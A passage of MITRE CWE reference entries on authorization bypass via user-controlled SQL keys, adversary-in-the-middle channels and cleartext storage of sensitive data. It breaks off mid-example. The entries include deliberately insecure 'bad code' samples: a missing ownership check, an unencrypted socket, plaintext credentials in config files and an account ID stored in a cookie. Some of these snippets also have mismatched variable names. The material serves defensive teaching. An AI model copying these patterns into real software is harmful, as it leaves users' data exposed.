Read Application Data; Modify Application Data; Bypass Protection Mechanism

Scope: Confidentiality, Integrity, Access Control

+ Potential Mitigations
Phase(s) Mitigation

Implementation
Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data. Use an "accept known good" validation strategy.

Implementation
Use a parameterized query AND make sure that the accepted values conform to the business rules. Construct your SQL statement accordingly.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 639 Authorization Bypass Through User-Controlled Key
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1011 Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

SQL (Often Prevalent)

Technologies

Database Server (Often Prevalent)

+ Demonstrative Examples

Example 1


The following code uses a parameterized statement, which escapes metacharacters and prevents SQL injection vulnerabilities, to construct and execute a SQL query that searches for an invoice matching the specified identifier [1]. The identifier is selected from a list of all invoices associated with the current authenticated user.

(bad code)
Example Language: C# 
...
conn = new SqlConnection(_ConnectionString);
conn.Open();
int16 id = System.Convert.ToInt16(invoiceID.Text);
SqlCommand query = new SqlCommand( "SELECT * FROM invoices WHERE id = @id", conn);
query.Parameters.AddWithValue("@id", id);
SqlDataReader objReader = objCommand.ExecuteReader();
...

The problem is that the developer has not considered all of the possible values of id. Although the interface generates a list of invoice identifiers that belong to the current user, an attacker can bypass this interface to request any desired invoice. Because the code in this example does not check to ensure that the user has permission to access the requested invoice, it will display any invoice, even if it does not belong to the current user.



+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 994 SFP Secondary Cluster: Tainted Input to Variable
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1345 OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1436 OWASP Top Ten 2025 Category A01:2025 - Broken Access Control
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
Software Fault Patterns SFP25 Tainted input to variable
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		Anonymous Tool Vendor (under NDA)
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Relationships, Weakness_Ordinalities
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Applicable_Platforms
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Demonstrative_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Relationships
2023-01-31 CWE Content Team MITRE
updated Description
2021-10-28 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2011-03-29 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Name
2010-06-21 CWE Content Team MITRE
updated Description
2009-07-27 CWE Content Team MITRE
updated Demonstrative_Examples, Description, Other_Notes, Potential_Mitigations, Taxonomy_Mappings
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Potential_Mitigations, Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2011-03-29 Access Control Bypass Through User-Controlled SQL Primary Key
Back to top

CWE-300: Channel Accessible by Non-Endpoint

Weakness ID: 300
Vulnerability Mapping: DISCOURAGED This CWE ID should not be used to map to real-world vulnerabilities
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not adequately verify the identity of actors at both ends of a communication channel, or does not adequately ensure the integrity of the channel, in a way that allows the channel to be accessed or influenced by an actor that is not an endpoint.
+ Extended Description
In order to establish secure communication between two parties, it is often important to adequately verify the identity of entities at each end of the communication channel. Inadequate or inconsistent verification may result in insufficient or incorrect identification of either communicating entity. This can have negative consequences such as misplaced trust in the entity at the other end of the channel. An attacker can leverage this by interposing between the communicating entities and masquerading as the original entity. In the absence of sufficient verification of identity, such an attacker can eavesdrop and potentially modify the communication between the original entities.
+ Alternate Terms
Adversary-in-the-Middle / AITM
Attacker-in-the-Middle / AITM
Man-in-the-Middle / MITM
Person-in-the-Middle / PITM
Monkey-in-the-Middle
Monster-in-the-Middle
Manipulator-in-the-Middle
On-path attack
Interception attack
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Application Data; Modify Application Data; Gain Privileges or Assume Identity

Scope: Confidentiality, Integrity, Access Control

An attacker could pose as one of the entities and read or possibly modify the communication.
+ Potential Mitigations
Phase(s) Mitigation

Implementation
Always fully authenticate both ends of any communications channel.

Architecture and Design
Adhere to the principle of complete mediation.

Implementation
A certificate binds an identity to a cryptographic key to authenticate a communicating party. Often, the certificate takes the encrypted form of the hash of the identity of the subject, the public key, and information such as time of issue or expiration using the issuer's private key. The certificate can be validated by deciphering the certificate with the issuer's public key. See also X.509 certificate signature chains and the PGP certification structure.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 923 Improper Restriction of Communication Channel to Intended Endpoints
PeerOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 602 Client-Side Enforcement of Server-Side Security
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 603 Use of Client-Side Authentication
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1011 Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


In the Java snippet below, data is sent over an unencrypted channel to a remote server.

(bad code)
Example Language: Java 
Socket sock;
PrintWriter out;

try {
sock = new Socket(REMOTE_HOST, REMOTE_PORT);
out = new PrintWriter(echoSocket.getOutputStream(), true);

// Write data to remote host via socket output stream.
...
}

By eavesdropping on the communication channel or posing as the endpoint, an attacker would be able to read all of the transmitted data.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint). The code's whitespace indentation did not reflect the actual control flow (CWE-1114) and did not explicitly delimit the block (CWE-483), which could have made it more difficult for human code auditors to detect the vulnerability.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods
Method Details

Automated Dynamic Analysis
Some tools can act as proxy servers that allow the tester to intercept packets or messages, inspect them, and modify them before sending them to the destination in order to see if the modified packets are still accepted by the receiving component.

Automated Dynamic Analysis
Dynamic Application Security Testing (DAST) tools can be used to detect network traffic without encryption and/or verification. The affected protocol may be subject to Adversary-in-the-Middle attacks. Some tools act as proxy servers that allow the tester to inspect and modify packets/messages to see if they are still accepted by the receiving component.

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.) The analysis could identify use of protocols that are subject to Adversary-in-the-Middle attacks.

Effectiveness: Moderate

Note:Encryption and other protection mechanisms may be provided in the environment (e.g., by a load balancer or firewall that is positioned in front of a server), but this cannot be detected by SAST tools.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 859 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 956 SFP Secondary Cluster: Channel Attack
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1353 OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1442 OWASP Top Ten 2025 Category A07:2025 - Authentication Failures
+ Vulnerability Mapping Notes
Usage DISCOURAGED
(this CWE ID should not be used to map to real-world vulnerabilities)
Reason Frequent Misuse

Rationale

CWE-300 is commonly misused for vulnerabilities in which the prerequisites for exploitation require the adversary to be in a privileged "in-the-middle" position.

Comments

Consider root-cause weaknesses that allow adversary-in-the-middle attacks to happen, such as CWEs involving poor integrity protection.
+ Notes

Maintenance

The summary identifies multiple distinct possibilities, suggesting that this is a category that must be broken into more specific weaknesses.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Man-in-the-middle (MITM)
WASC 32 Routing Detour
The CERT Oracle Secure Coding Standard for Java (2011) SEC06-J Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar
+ References
[REF-244] M. Bishop. "Computer Security: Art and Science". Addison-Wesley. 2003.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Contributions
Contribution Date Contributor Organization
2024-09-02
(CWE 4.18, 2025-09-09) 		Renaud Sauvain West Pharmaceutical Services
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Observed_Examples, Relationships, Weakness_Ordinalities
2025-09-09
(CWE 4.18, 2025-09-09) 		CWE Content Team MITRE
updated Alternate_Terms, Detection_Factors
2024-07-16
(CWE 4.15, 2024-07-16) 		CWE Content Team MITRE
updated Alternate_Terms
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Relationships
2023-01-31 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-07-20 CWE Content Team MITRE
updated Alternate_Terms, Observed_Examples
2021-03-15 CWE Content Team MITRE
updated Alternate_Terms, Related_Attack_Patterns
2020-12-10 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Alternate_Terms, Name, Observed_Examples, Related_Attack_Patterns, Relationships
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2019-01-03 CWE Content Team MITRE
updated Taxonomy_Mappings
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2014-07-30 CWE Content Team MITRE
updated Demonstrative_Examples, Relationships
2014-06-23 CWE Content Team MITRE
updated Observed_Examples
2014-02-18 CWE Content Team MITRE
updated Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Common_Consequences, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2010-12-13 CWE Content Team MITRE
updated Description
2010-02-16 CWE Content Team MITRE
updated Taxonomy_Mappings
2009-05-27 CWE Content Team MITRE
updated Name
2008-09-08 CWE Content Team MITRE
updated Description, Maintenance_Notes, Relationships, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
2008-07-01 Sean Eidemiller Cigital
added/updated demonstrative examples
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Man-in-the-middle (MITM)
2009-05-27 Channel Accessible by Non-Endpoint (aka 'Man-in-the-Middle')
2020-02-24 Channel Accessible by Non-Endpoint ('Man-in-the-Middle')
Back to top

CWE-313: Cleartext Storage in a File or on Disk

Weakness ID: 313
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product stores sensitive information in cleartext in a file, or on disk.
+ Extended Description
The sensitive information could be read by attackers with access to the file, or with physical or administrator access to the raw disk. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Application Data

Scope: Confidentiality

+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 312 Cleartext Storage of Sensitive Information
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1013 Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

(bad code)
Example Language: Java 

# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

(bad code)
Example Language: ASP.NET 
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" />
</connectionStrings>
...

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Cleartext credentials in world-readable file.
Password in cleartext in config file.
Password in cleartext in config file.
Decrypted copy of a message written to disk given a combination of options and when user replies to an encrypted message.
Cleartext storage of private key and passphrase in log file when user imports the key.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 963 SFP Secondary Cluster: Exposed Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1348 OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1402 Comprehensive Categorization: Encryption
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1441 OWASP Top Ten 2025 Category A06:2025 - Insecure Design
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Plaintext Storage in File or on Disk
Software Fault Patterns SFP23 Exposed Data
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Relationships, Weakness_Ordinalities
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Relationships
2023-01-31 CWE Content Team MITRE
updated Description
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated Demonstrative_Examples
2020-02-24 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2013-07-17 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Observed_Examples, Potential_Mitigations, Terminology_Notes
2012-05-11 CWE Content Team MITRE
updated Demonstrative_Examples, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2010-12-13 CWE Content Team MITRE
updated Demonstrative_Examples
2008-09-08 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Plaintext Storage in File or on Disk
2013-07-17 Plaintext Storage in a File or on Disk
Back to top

CWE-312: Cleartext Storage of Sensitive Information

Weakness ID: 312
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere. Diagram for CWE-312
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Application Data

Scope: Confidentiality

An attacker with access to the system could read sensitive information stored in cleartext (i.e., unencrypted). Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.
+ Potential Mitigations
Phase(s) Mitigation

Implementation; System Configuration; Operation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to encrypt the data at rest. [REF-1297] [REF-1299] [REF-1301]

Implementation; System Configuration; Operation
In some systems/environments such as cloud, the use of "double encryption" (at both the software and hardware layer) might be required, and the developer might be solely responsible for both layers, instead of shared responsibility with the administrator of the broader system/environment.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 311 Missing Encryption of Sensitive Data
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 922 Insecure Storage of Sensitive Information
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 313 Cleartext Storage in a File or on Disk
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 314 Cleartext Storage in the Registry
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 315 Cleartext Storage of Sensitive Information in a Cookie
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 316 Cleartext Storage of Sensitive Information in Memory
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 317 Cleartext Storage of Sensitive Information in GUI
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 318 Cleartext Storage of Sensitive Information in Executable
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 526 Cleartext Storage of Sensitive Information in an Environment Variable
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 199 Information Management Errors
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 311 Missing Encryption of Sensitive Data
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1013 Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Cloud Computing (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

Class: Mobile (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


The following code excerpt stores a plaintext user account ID in a browser cookie.

(bad code)
Example Language: Java 
response.addCookie( new Cookie("userAccountID", acctID);

Because the account ID is in plaintext, the user's account information is exposed if their computer is compromised by an attacker.



Example 2


This code writes a user's login information to a cookie so the user does not have to login again later.

(bad code)
Example Language: PHP 
